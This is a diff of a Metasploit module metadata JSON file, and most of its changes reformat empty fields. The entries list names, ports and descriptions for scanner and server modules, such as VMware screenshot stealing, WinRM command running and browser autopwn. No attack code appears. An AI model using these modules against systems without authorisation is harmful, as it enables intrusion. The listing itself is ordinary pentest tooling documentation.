-58846,20 +50888,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/telnet/telnet_encrypt_overflow": { "name": "Telnet Service Encryption Key ID Overflow Detection", "fullname": "auxiliary/scanner/telnet/telnet_encrypt_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -58891,20 +50928,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/telnet/telnet_login": { "name": "Telnet Login Check Scanner", "fullname": "auxiliary/scanner/telnet/telnet_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -58932,20 +50964,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/telnet/telnet_ruggedcom": { "name": "RuggedCom Telnet Password Generator", "fullname": "auxiliary/scanner/telnet/telnet_ruggedcom", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -58976,20 +51003,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/telnet/telnet_version": { "name": "Telnet Service Banner Detection", "fullname": "auxiliary/scanner/telnet/telnet_version", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -58997,9 +51019,7 @@ "hdm " ], "description": "Detect telnet services", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 23, @@ -59017,20 +51037,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/teradata/teradata_odbc_login": { "name": "Teradata ODBC Login Scanner Module", "fullname": "auxiliary/scanner/teradata/teradata_odbc_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-03-30", "type": "auxiliary", @@ -59045,12 +51060,8 @@ "platform": "", "arch": "", "rport": 1025, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2021-05-17 17:04:49 +0000", "path": "/modules/auxiliary/scanner/teradata/teradata_odbc_login.py", @@ -59066,16 +51077,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/tftp/ipswitch_whatsupgold_tftp": { "name": "IpSwitch WhatsUp Gold TFTP Directory Traversal", "fullname": "auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-12-12", "type": "auxiliary", @@ -59095,12 +51102,8 @@ "platform": "", "arch": "", "rport": 69, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp.rb", @@ -59109,20 +51112,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/tftp/netdecision_tftp": { "name": "NetDecision 4.2 TFTP Directory Traversal", "fullname": "auxiliary/scanner/tftp/netdecision_tftp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-05-16", "type": "auxiliary", @@ -59139,12 +51137,8 @@ "platform": "", "arch": "", "rport": 69, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/scanner/tftp/netdecision_tftp.rb", @@ -59153,20 +51147,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/tftp/tftpbrute": { "name": "TFTP Brute Forcer", "fullname": "auxiliary/scanner/tftp/tftpbrute", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -59174,18 +51163,12 @@ "antoine" ], "description": "This module uses a dictionary to brute force valid TFTP image names from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 69, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/tftp/tftpbrute.rb", @@ -59194,20 +51177,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/ubiquiti/ubiquiti_discover": { "name": "Ubiquiti Discovery Scanner", "fullname": "auxiliary/scanner/ubiquiti/ubiquiti_discover", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -59223,12 +51201,8 @@ "platform": "", "arch": "", "rport": 10001, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/scanner/ubiquiti/ubiquiti_discover.rb", @@ -59237,20 +51211,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/udp/udp_amplification": { "name": "UDP Amplification Scanner", "fullname": "auxiliary/scanner/udp/udp_amplification", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -59265,12 +51234,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/scanner/udp/udp_amplification.rb", @@ -59279,20 +51244,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/upnp/ssdp_amp": { "name": "SSDP ssdp:all M-SEARCH Amplification Scanner", "fullname": "auxiliary/scanner/upnp/ssdp_amp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -59307,12 +51267,8 @@ "platform": "", "arch": "", "rport": 1900, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/scanner/upnp/ssdp_amp.rb", @@ -59321,20 +51277,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/upnp/ssdp_msearch": { "name": "UPnP SSDP M-SEARCH Information Discovery", "fullname": "auxiliary/scanner/upnp/ssdp_msearch", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -59352,12 +51303,8 @@ "platform": "", "arch": "", "rport": 1900, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/upnp/ssdp_msearch.rb", @@ -59366,20 +51313,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/varnish/varnish_cli_file_read": { "name": "Varnish Cache CLI File Read", "fullname": "auxiliary/scanner/varnish/varnish_cli_file_read", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -59397,12 +51339,8 @@ "platform": "", "arch": "", "rport": 6082, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2019-08-15 18:10:44 +0000", "path": "/modules/auxiliary/scanner/varnish/varnish_cli_file_read.rb", @@ -59411,20 +51349,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/varnish/varnish_cli_login": { "name": "Varnish Cache CLI Login Utility", "fullname": "auxiliary/scanner/varnish/varnish_cli_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -59442,12 +51375,8 @@ "platform": "", "arch": "", "rport": 6082, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-05-03 10:45:37 +0000", "path": "/modules/auxiliary/scanner/varnish/varnish_cli_login.rb", @@ -59456,20 +51385,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/vmware/esx_fingerprint": { "name": "VMWare ESX/ESXi Fingerprint Scanner", "fullname": "auxiliary/scanner/vmware/esx_fingerprint", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -59477,9 +51401,7 @@ "theLightCosine " ], "description": "This module accesses the web API interfaces for VMware ESX/ESXi servers\n and attempts to identify version information for that server.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 443, @@ -59506,20 +51428,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/vmware/vmauthd_login": { "name": "VMWare Authentication Daemon Login Scanner", "fullname": "auxiliary/scanner/vmware/vmauthd_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -59533,12 +51450,8 @@ "platform": "", "arch": "", "rport": 902, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-05-03 10:45:37 +0000", "path": "/modules/auxiliary/scanner/vmware/vmauthd_login.rb", @@ -59547,20 +51460,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/vmware/vmauthd_version": { "name": "VMWare Authentication Daemon Version Scanner", "fullname": "auxiliary/scanner/vmware/vmauthd_version", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -59569,18 +51477,12 @@ "hdm " ], "description": "This module will identify information about a host through the\n vmauthd service.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 902, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-09-22 02:56:51 +0000", "path": "/modules/auxiliary/scanner/vmware/vmauthd_version.rb", @@ -59589,20 +51491,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/vmware/vmware_enum_permissions": { "name": "VMWare Enumerate Permissions", "fullname": "auxiliary/scanner/vmware/vmware_enum_permissions", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -59610,9 +51507,7 @@ "theLightCosine " ], "description": "This module will log into the Web API of VMWare and try to enumerate\n all the user/group permissions. Unlike enum users this is only\n users and groups that specifically have permissions defined within\n the VMware product", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 443, @@ -59639,20 +51534,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/vmware/vmware_enum_sessions": { "name": "VMWare Enumerate Active Sessions", "fullname": "auxiliary/scanner/vmware/vmware_enum_sessions", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -59660,9 +51550,7 @@ "theLightCosine " ], "description": "This module will log into the Web API of VMWare and try to enumerate\n all the login sessions.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 443, @@ -59689,20 +51577,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/vmware/vmware_enum_users": { "name": "VMWare Enumerate User Accounts", "fullname": "auxiliary/scanner/vmware/vmware_enum_users", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -59710,9 +51593,7 @@ "theLightCosine " ], "description": "This module will log into the Web API of VMWare and try to enumerate\n all the user accounts. If the VMware instance is connected to one or\n more domains, it will try to enumerate domain users as well.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 443, @@ -59739,20 +51620,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/vmware/vmware_enum_vms": { "name": "VMWare Enumerate Virtual Machines", "fullname": "auxiliary/scanner/vmware/vmware_enum_vms", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -59760,9 +51636,7 @@ "theLightCosine " ], "description": "This module attempts to discover virtual machines on any VMWare instance\n running the web interface. This would include ESX/ESXi and VMWare Server.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 443, @@ -59789,20 +51663,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/vmware/vmware_host_details": { "name": "VMWare Enumerate Host Details", "fullname": "auxiliary/scanner/vmware/vmware_host_details", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -59810,9 +51679,7 @@ "theLightCosine " ], "description": "This module attempts to enumerate information about the host systems through the VMWare web API.\n This can include information about the hardware installed on the host machine.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 443, @@ -59839,20 +51706,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/vmware/vmware_http_login": { "name": "VMWare Web Login Scanner", "fullname": "auxiliary/scanner/vmware/vmware_http_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -59889,20 +51751,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/vmware/vmware_screenshot_stealer": { "name": "VMWare Screenshot Stealer", "fullname": "auxiliary/scanner/vmware/vmware_screenshot_stealer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -59910,9 +51767,7 @@ "theLightCosine " ], "description": "This module uses supplied login credentials to connect to VMWare via\n the web interface. It then searches through the datastores looking for screenshots.\n It will download any screenshots it finds and save them as loot.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 443, @@ -59939,20 +51794,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/vmware/vmware_server_dir_trav": { "name": "VMware Server Directory Traversal Vulnerability", "fullname": "auxiliary/scanner/vmware/vmware_server_dir_trav", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -59993,20 +51843,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/vmware/vmware_update_manager_traversal": { "name": "VMWare Update Manager 4 Directory Traversal", "fullname": "auxiliary/scanner/vmware/vmware_update_manager_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-11-21", "type": "auxiliary", @@ -60047,20 +51892,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/vnc/ard_root_pw": { "name": "Apple Remote Desktop Root Vulnerability", "fullname": "auxiliary/scanner/vnc/ard_root_pw", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -60075,12 +51915,8 @@ "platform": "", "arch": "", "rport": 5900, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2021-01-28 10:35:25 +0000", "path": "/modules/auxiliary/scanner/vnc/ard_root_pw.rb", @@ -60089,20 +51925,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/vnc/vnc_login": { "name": "VNC Authentication Scanner", "fullname": "auxiliary/scanner/vnc/vnc_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -60130,9 +51961,7 @@ 5909, 5910 ], - "autofilter_services": [ - - ], + "autofilter_services": [], "targets": null, "mod_time": "2024-05-03 10:45:37 +0000", "path": "/modules/auxiliary/scanner/vnc/vnc_login.rb", @@ -60141,20 +51970,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/vnc/vnc_none_auth": { "name": "VNC Authentication None Detection", "fullname": "auxiliary/scanner/vnc/vnc_none_auth", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -60171,12 +51995,8 @@ "platform": "", "arch": "", "rport": 5900, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-02-21 08:06:36 +0000", "path": "/modules/auxiliary/scanner/vnc/vnc_none_auth.rb", @@ -60185,20 +52005,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/voice/recorder": { "name": "Telephone Line Voice Scanner", "fullname": "auxiliary/scanner/voice/recorder", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -60206,18 +52021,12 @@ "hdm " ], "description": "This module dials a range of phone numbers and records audio from each answered call", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/voice/recorder.rb", @@ -60226,20 +52035,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/vxworks/urgent11_check": { "name": "URGENT/11 Scanner, Based on Detection Tool by Armis", "fullname": "auxiliary/scanner/vxworks/urgent11_check", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-08-09", "type": "auxiliary", @@ -60257,12 +52061,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2019-10-21 10:43:28 +0000", "path": "/modules/auxiliary/scanner/vxworks/urgent11_check.rb", @@ -60278,16 +52078,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/vxworks/wdbrpc_bootline": { "name": "VxWorks WDB Agent Boot Parameter Scanner", "fullname": "auxiliary/scanner/vxworks/wdbrpc_bootline", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -60302,12 +52098,8 @@ "platform": "", "arch": "", "rport": 17185, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/vxworks/wdbrpc_bootline.rb", @@ -60316,20 +52108,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/vxworks/wdbrpc_version": { "name": "VxWorks WDB Agent Version Scanner", "fullname": "auxiliary/scanner/vxworks/wdbrpc_version", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -60344,12 +52131,8 @@ "platform": "", "arch": "", "rport": 17185, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/vxworks/wdbrpc_version.rb", @@ -60358,20 +52141,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/winrm/winrm_auth_methods": { "name": "WinRM Authentication Method Detection", "fullname": "auxiliary/scanner/winrm/winrm_auth_methods", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -60379,9 +52157,7 @@ "thelightcosine" ], "description": "This module sends a request to an HTTP/HTTPS service to see if it is a WinRM service.\n If it is a WinRM service, it also gathers the Authentication Methods supported.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 5985, @@ -60411,20 +52187,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/winrm/winrm_cmd": { "name": "WinRM Command Runner", "fullname": "auxiliary/scanner/winrm/winrm_cmd", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -60432,9 +52203,7 @@ "thelightcosine" ], "description": "This module runs arbitrary Windows commands using the WinRM Service", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 5985, @@ -60464,20 +52233,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/winrm/winrm_login": { "name": "WinRM Login Utility", "fullname": "auxiliary/scanner/winrm/winrm_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -60518,20 +52282,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/winrm/winrm_wql": { "name": "WinRM WQL Query Runner", "fullname": "auxiliary/scanner/winrm/winrm_wql", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -60539,9 +52298,7 @@ "thelightcosine" ], "description": "This module runs WQL queries against remote WinRM Services.\n Authentication is required. Currently only works with NTLM auth.\n Please note in order to use this module, the 'AllowUnencrypted'\n winrm option must be set.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 5985, @@ -60571,20 +52328,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/wproxy/att_open_proxy": { "name": "Open WAN-to-LAN proxy on AT&T routers", "fullname": "auxiliary/scanner/wproxy/att_open_proxy", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-08-31", "type": "auxiliary", @@ -60596,19 +52348,15 @@ "references": [ "CVE-2017-14117", "URL-https://www.nomotion.net/blog/sharknatto/", - "URL-https://www.rapid7.com/blog/post/2017/09/07/measuring-sharknat-to-exposures/#vulnerability5port49152tcpexposure" + "URL-http://web.archive.org/web/20230327172835/https://www.rapid7.com/blog/post/2017/09/07/measuring-sharknat-to-exposures/" ], "platform": "", "arch": "", "rport": 49152, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/scanner/wproxy/att_open_proxy.py", "is_install_path": true, "ref_name": "scanner/wproxy/att_open_proxy", @@ -60623,16 +52371,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/wsdd/wsdd_query": { "name": "WS-Discovery Information Discovery", "fullname": "auxiliary/scanner/wsdd/wsdd_query", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -60650,12 +52394,8 @@ "platform": "", "arch": "", "rport": 3702, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2019-01-10 19:19:14 +0000", "path": "/modules/auxiliary/scanner/wsdd/wsdd_query.rb", @@ -60664,20 +52404,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/x11/open_x11": { "name": "X11 No-Auth Scanner", "fullname": "auxiliary/scanner/x11/open_x11", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -60693,12 +52428,8 @@ "platform": "", "arch": "", "rport": 6000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-11-27 14:29:44 +0000", "path": "/modules/auxiliary/scanner/x11/open_x11.rb", @@ -60711,28 +52442,20 @@ "Stability": [ "crash-safe" ], - "SideEffects": [ - - ], - "Reliability": [ - - ], + "SideEffects": [], + "Reliability": [], "RelatedModules": [ "auxiliary/gather/x11_keyboard_spy" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_server/android_browsable_msf_launch": { "name": "Android Meterpreter Browsable Launcher", "fullname": "auxiliary/server/android_browsable_msf_launch", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -60746,12 +52469,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/server/android_browsable_msf_launch.rb", @@ -60760,20 +52479,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_server/android_mercury_parseuri": { "name": "Android Mercury Browser Intent URI Scheme and Directory Traversal Vulnerability", "fullname": "auxiliary/server/android_mercury_parseuri", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -60790,12 +52504,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/server/android_mercury_parseuri.rb", @@ -60804,20 +52514,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_server/browser_autopwn": { "name": "HTTP Client Automatic Exploiter", "fullname": "auxiliary/server/browser_autopwn", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -60825,18 +52530,12 @@ "egypt " ], "description": "This module has three actions. The first (and the default)\n is 'WebServer' which uses a combination of client-side and\n server-side techniques to fingerprint HTTP clients and then\n automatically exploit them. Next is 'DefangedDetection' which\n does only the fingerprinting part. Lastly, 'list' simply\n prints the names of all exploit modules that would be used by\n the WebServer action given the current MATCH and EXCLUDE\n options.\n\n Also adds a 'list' command which is the same as running with\n ACTION=list.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/server/browser_autopwn.rb", @@ -60845,8 +52544,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, 